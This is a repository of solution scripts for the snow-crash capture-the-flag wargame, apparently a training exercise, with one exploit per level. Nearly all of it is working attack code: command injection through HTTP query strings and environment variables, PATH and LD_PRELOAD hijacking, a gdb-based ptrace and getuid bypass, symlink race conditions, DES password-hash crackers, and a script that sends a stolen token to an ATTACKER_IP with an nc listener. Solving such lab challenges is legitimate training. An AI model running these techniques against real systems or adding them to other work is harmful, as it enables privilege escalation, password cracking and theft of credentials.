<repo_name>StinaLue/snow-crash<file_sep>/level05/Ressources/exploit.sh
rm /tmp/test.txt 2> /dev/null
echo "getflag > /tmp/test.txt" > /opt/openarenaserver/test
FILE=/tmp/test.txt
until test -f "$FILE"; do
    echo "waiting for $FILE to appear"
    sleep 5
    echo "."
    sleep 1
    echo "."
    sleep 1
    echo "."
    sleep 2
    echo "still waiting lol"
    sleep 5
    echo "."
    sleep 1
    echo "."
    sleep 1
    echo "."
    sleep 2
done
cat $FILE
<file_sep>/level14/Ressources/exploit.sh
rm /tmp/gdbscript 2>/dev/null
rm /tmp/gdboutput.txt 2>/dev/null

cat << 'EOF' > /tmp/gdbscript
break ptrace
break getuid
run
finish
set $eax=0
continue
finish
set $eax=3014
continue
EOF

gdb --batch --command=/tmp/gdbscript /bin/getflag > /tmp/gdboutput.txt

cat /tmp/gdboutput.txt
<file_sep>/level11/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level11 is: <PASSWORD>"

ssh level11@snow-crash -p4242 'bash -s' < $(dirname ${BASH_SOURCE[0]})/exploit.sh

<file_sep>/level10/Ressources/steal_token.sh
#!/bin/bash

rm $(dirname ${BASH_SOURCE[0]})/output.txt 2>/dev/null

#(trap 'kill 0' SIGINT; while true; do nc -lvnp 6969 >> $(dirname ${BASH_SOURCE[0]})/output.txt; done & tail -f $(dirname ${BASH_SOURCE[0]})/output.txt | grep -v ".*( )*.") 
(trap 'kill 0' SIGINT; while true; do nc -lnp 6969 >> $(dirname ${BASH_SOURCE[0]})/output.txt; done & tail -f $(dirname ${BASH_SOURCE[0]})/output.txt | grep -v ".*( )*.") 

<file_sep>/level10/Ressources/exploit.sh
rm /tmp/token 2>/dev/null
rm /tmp/faketoken 2>/dev/null

touch /tmp/token 2>/dev/null

ATTACKER_IP="192.168.0.26"

(trap 'kill 0' SIGINT; while true; do ln -fs /tmp/token /tmp/faketoken; ln -fs /home/user/level10/token /tmp/faketoken; done & while true; do /home/user/level10/level10 /tmp/faketoken $ATTACKER_IP; done)
<file_sep>/level04/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level04 is: <PASSWORD>"

ssh level04@snow-crash -p4242 'bash -s' < $(dirname ${BASH_SOURCE[0]})/exploit.sh

<file_sep>/level14/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level14 is: <PASSWORD>"

ssh level14@snow-crash -p4242 'bash -s' < $(dirname ${BASH_SOURCE[0]})/exploit.sh

<file_sep>/level07/Ressources/exploit.sh
LOGNAME="pls stop not controllin env && getflag"
/home/user/level07/level07
<file_sep>/level13/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level13 is: <PASSWORD>"

ssh level13@snow-crash -p4242 'bash -s' < $(dirname ${BASH_SOURCE[0]})/exploit.sh

<file_sep>/level06/Ressources/exploit.sh
rm /tmp/regexploit 2>/dev/null
echo "[x \${\`getflag\`}]" > /tmp/regexploit
/home/user/level06/level06 /tmp/regexploit whatever
<file_sep>/level00/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level00 is: <PASSWORD>"

ssh level00@snow-crash -p4242 'bash -s' < $(dirname ${BASH_SOURCE[0]})/exploit.sh

echo "Password for flag00 found: <PASSWORD>, testing..."

ssh flag00@snow-crash -p4242 'echo whoami=$(whoami) && getflag'


<file_sep>/level12/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level12 is: <PASSWORD>"

ssh level12@snow-crash -p4242 'bash -s' < $(dirname ${BASH_SOURCE[0]})/exploit.sh

<file_sep>/level08/Ressources/exploit.sh
rm /tmp/totallynotsuspiciousname 2>/dev/null
ln -s /home/user/level08/token /tmp/totallynotsuspiciousname
FLAG08_PW=$(/home/user/level08/level08 /tmp/totallynotsuspiciousname)
echo '<PASSWORD>08 password is '$<PASSWORD>
<file_sep>/level09/Ressources/decipher_token.py
#!/usr/bin/env python3

import sys

incrementor = 0

with open(sys.argv[1], "rb") as token_file:
  for line in token_file:
    for charac in line.strip():
      print(chr(charac - incrementor), end="")
      incrementor += 1

print()
<file_sep>/level02/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level02 is: <PASSWORD>"

scp -P 4242 level02@snow-crash:/home/user/level02/level02.pcap $(dirname ${BASH_SOURCE[0]})

echo "Password for flag02 found: <PASSWORD> ..."

ssh flag02@snow-crash -p4242 'echo whoami=$(whoami) && getflag'
<file_sep>/level09/Ressources/remote_exploit.sh
#!/bin/bash

rm $(dirname ${BASH_SOURCE[0]})/token 2>/dev/null

echo "Password for level09 is: <PASSWORD>"

scp -P4242 level09@snow-crash:/home/user/level09/token $(dirname ${BASH_SOURCE[0]})

chmod 666 $(dirname ${BASH_SOURCE[0]})/token
echo "flag09 password is "$($(dirname ${BASH_SOURCE[0]})/decipher_token.py $(dirname ${BASH_SOURCE[0]})/token)

ssh flag09@snow-crash -p4242 'getflag'
<file_sep>/level06/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level06 is: <PASSWORD>"

ssh level06@snow-crash -p4242 'bash -s' < $(dirname ${BASH_SOURCE[0]})/exploit.sh

<file_sep>/level03/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level03 is: <PASSWORD>"

ssh level03@snow-crash -p4242 'bash -s' < $(dirname ${BASH_SOURCE[0]})/exploit.sh

<file_sep>/level01/Ressources/exploit_bruteforce.py
#!/usr/bin/env python3

import itertools
import string
import crypt

crypt_hash="42hDRfypTqqnw"

for password in itertools.product(string.ascii_lowercase, repeat=8):
  current_pw=''.join(password)
  if crypt.crypt(current_pw,salt="42") == crypt_hash:
    print("FOUND PASSWORD --> "+current_pw)
    exit()

<file_sep>/level01/Ressources/exploit_dictionary.py
#!/usr/bin/env python3

import crypt
import sys

crypt_hash="42hDRfypTqqnw"

wordlist=open(sys.argv[1], "r")

for password in wordlist:
  if crypt.crypt(password.strip(), salt="42") == crypt_hash:
    print("FOUND PASSWORD --> "+password.strip())
    wordlist.close()
    exit()

wordlist.close()
<file_sep>/level01/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level01 is: <PASSWORD>"

ssh level01@snow-crash -p4242 'echo "found passwd entry for flag01 --> $(grep flag01 /etc/passwd)"'

echo "Password for flag01 found: <PASSWORD> ..."

ssh flag01@snow-crash -p4242 'echo whoami=$(whoami) && getflag'
<file_sep>/level08/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level08 is: <PASSWORD>"

ssh level08@snow-crash -p4242 'bash -s' < $(dirname ${BASH_SOURCE[0]})/exploit.sh

ssh flag08@snow-crash -p4242 'getflag'
<file_sep>/level11/Ressources/exploit.sh
echo "-n NotSoEasy && getflag > /tmp/hallo" | nc 127.0.0.1 5151
cat /tmp/hallo
<file_sep>/level03/Ressources/exploit.sh
cp /bin/getflag /tmp/echo

export PATH=/tmp:$PATH

/home/user/level03/level03
<file_sep>/level00/Ressources/exploit.sh
results=$(find / -user flag00 2>/dev/null)
for result in $results;
do
	echo "found file $result"
	if [[ $result == *"john"* ]]; then
		file_content=$(cat $result)
		break;
	fi
done

echo $file_content
echo $file_content | tr 'a-z' 'b-za-b'
echo $file_content | tr 'a-z' 'c-za-b'
echo $file_content | tr 'a-z' 'd-za-c'
echo $file_content | tr 'a-z' 'e-za-d'
echo $file_content | tr 'a-z' 'f-za-e'
echo $file_content | tr 'a-z' 'g-za-f'
echo $file_content | tr 'a-z' 'h-za-g'
echo $file_content | tr 'a-z' 'i-za-h'
echo $file_content | tr 'a-z' 'j-za-i'
echo $file_content | tr 'a-z' 'k-za-j'
echo $file_content | tr 'a-z' 'l-za-k'
echo $file_content | tr 'a-z' 'm-za-l'
echo $file_content | tr 'a-z' 'n-za-m'
echo $file_content | tr 'a-z' 'o-za-n'
echo $file_content | tr 'a-z' 'p-za-o'
echo $file_content | tr 'a-z' 'q-za-p'
echo $file_content | tr 'a-z' 'r-za-q'
echo $file_content | tr 'a-z' 's-za-r'
echo $file_content | tr 'a-z' 't-za-s'
echo $file_content | tr 'a-z' 'u-za-t'
echo $file_content | tr 'a-z' 'v-za-u'
echo $file_content | tr 'a-z' 'w-za-v'
echo $file_content | tr 'a-z' 'x-za-w'
echo $file_content | tr 'a-z' 'y-za-x'
echo $file_content | tr 'a-z' 'z-za-y'

<file_sep>/level10/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level10 is: <PASSWORD>"

ssh level10@snow-crash -p4242 'bash -s' < $(dirname ${BASH_SOURCE[0]})/exploit.sh

ssh flag10@snow-crash -p4242 'getflag'
<file_sep>/level02/Ressources/exploit.sh
#!/bin/bash

chmod 700 $(dirname ${BASH_SOURCE[0]})/level02.pcap
tshark -z follow,tcp,ascii,1 -r $(dirname ${BASH_SOURCE[0]})/level02.pcap -Tfields -e data | xxd -p -r | hexdump -C
<file_sep>/level04/Ressources/exploit.sh
curl -s 'http://127.0.0.1:4747/?x=$(/bin/getflag)'
<file_sep>/level13/Ressources/exploit.sh
rm /tmp/level13_nosuid 2>/dev/null
rm /tmp/fake_getuid.c 2>/dev/null
rm /tmp/fake_dynamic_lib.so 2>/dev/null

cp /home/user/level13/level13 /tmp/level13_nosuid

cat << 'EOF' > /tmp/fake_getuid.c
int getuid(void)
{
	return(4242);
}
EOF

cd /tmp/

gcc -fPIC -shared -o /tmp/fake_dynamic_lib.so /tmp/fake_getuid.c

export LD_PRELOAD="/tmp/fake_dynamic_lib.so"

/tmp/level13_nosuid
<file_sep>/level12/Ressources/exploit.sh
rm /tmp/EVILSCRIPT 2>/dev/null
rm /tmp/gimmemahflag 2>/dev/null

cat << 'EOF' > /tmp/EVILSCRIPT
#!/bin/bash
/bin/getflag > /tmp/gimmemahflag
EOF

chmod +x /tmp/EVILSCRIPT

curl -s "127.0.0.1:4646?x=\$(/*/EVILSCRIPT)&y=whatever"

cat /tmp/gimmemahflag
<file_sep>/level05/Ressources/remote_exploit.sh
#!/bin/bash

echo "Password for level05 is: <PASSWORD>"

ssh level05@snow-crash -p4242 'bash -s' < $(dirname ${BASH_SOURCE[0]})/exploit.sh

